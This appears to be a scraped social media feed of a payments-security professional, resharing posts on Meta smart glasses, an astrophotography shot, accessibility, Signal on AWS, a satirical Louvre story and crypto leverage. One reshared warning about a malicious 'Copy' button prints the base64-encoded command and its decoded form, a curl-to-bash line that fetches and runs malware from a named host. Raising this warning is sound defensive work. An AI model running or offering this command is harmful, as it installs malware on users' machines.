Gareth Bowker

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Pilot, runner, skiier, traveller, once described as a “stealth geek”. Payments security and privacy are my thing work-wise
LocationCardiff, Wales
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Wow: Meta has been working on plans to add facial recognition technology to its AI smart glasses. nyti.ms/3Os1oxf And this was the company’s cynical view on when, and how, to do it:

Astrophotographer snaps 'absolutely preposterous' photo of skydiver 'falling' past the sun's surface | Live Science

This photo is breaking my brain. 🤯

https://www.livescience.com/space/the-sun/astrophotographer-snaps-absolutely-preposterous-photo-of-skydiver-falling-past-the-suns-surface

Astrophotographer snaps 'absolutely preposterous' photo of skydiver 'falling' past the sun's surface

Astrophotographer Andrew McCarthy has snapped a striking shot of a skydiving YouTuber perfectly aligned with the fiery surface of the sun. The unlikely image, dubbed "The Fall of Icarus," required meticulous planning to pull off.

Live Science

My webinar on making printed and digital content #accessibility is now available as a standalone video with descriptions and captions in: English, Ukrainian, Malay, Arabic, Czech, German, French, Hindi, Italian, Japanese, Portuguese, Serbian, Spanish.
https://youtu.be/AO9XXkrACtU?si=tANmv5xDWgwZ10Ay
Inclusive content is better content for all, not only people with rare or even common conditions.

Thank you #RareDiseaseDay #Eurodis

Accessibility for Printed & Digital Content

YouTube

📣THREAD: It’s surprising to me that so many people were surprised to learn that Signal runs partly on AWS (something we can do because we use encryption to make sure no one but you–not AWS, not Signal, not anyone–can access your comms).

It’s also concerning. 1/

Roo reaction

[description: kangaroo checking out a Halloween display is scared by the cackling skeleton -- you can see the roo running away far down the street]

#kangaroo #roo #animal #halloween #humor #humour

Yorkshire proofreaders - fighting the war on t'error.

Oh, wow! This is new.

As you probably already guessed when you click "Copy" - it doesn't copy the text that it shows. Instead it is:

echo "Y3VybCAtcyBodHRwczovL2dhbW1hLnNlY3VyZWFwaW1pZGRsZXdhcmUuY29tL3N0cml4L2luZGV4LnBocCB8IG5vaHVwIGJhc2ggJg==" | base64 -d | bash

which decodes to:

curl -s https://gamma.secureapimiddleware.com/strix/index.php | nohup bash &

and this in turn becomes a full-blown malware:

https://pastebin.com/rUbcVAfC

Louvre Thieves Given Immunity After Confirming Jewels Stolen For Purpose Of Training AI Software 🇬🇧

"When we realised these jewels were only stolen to inflate the share price of a company whose entire value relies on the wholesale theft of other people’s art, we had no choice but grant these scamps immunity,” confirmed French prosecutor Alain Barbier."

https://waterfordwhispersnews.com/2025/10/20/louvre-thieves-given-immunity-after-confirming-jewels-stolen-for-purpose-of-training-ai-software/

Pour les non anglophones 🇫🇷:

Les voleurs du Louvre bénéficient de l'immunité après avoir confirmé que les bijoux avaient été volés dans le but d'entraîner un logiciel d'intelligence artificielle

"Lorsque nous avons réalisé que ces bijoux n'avaient été volés que pour gonfler le cours de l'action d'une société dont toute la valeur repose sur le vol en gros des œuvres d'art d'autrui, nous n'avons eu d'autre choix que d'accorder l'immunité à ces escrocs", a confirmé le procureur français Alain Barbier.

#Francais #France

Louvre Thieves Given Immunity After Confirming Jewels Stolen For Purpose Of Training AI Software

FRENCH POLICE have immediately ended all efforts to recover priceless Napoleon-era jewellery from the Louvre taken in a daring heist after it emerged the jewels were merely stolen for the purposes of training AI software. "When …

Waterford Whispers News

50X leverage!

This means you can open an account with $1K and borrow $49K from Coinbase to buy crypto. If it goes up 2% you essentially doubled your money (gained $1K) and if it goes down 2% then you lose all your money & your crypto will be sold.

Setups like this is why crypto crashed harder than the stock market on the tariff news.

#BBCNews - Rare wildflower bloom blankets Chile's Atacama desert
https://www.bbc.co.uk/news/articles/czrp52gx075o
Rare wildflower bloom blankets Chile's Atacama desert

One of the world's driest deserts is transformed into a sea of wildflowers after a rare bloom.

BBC News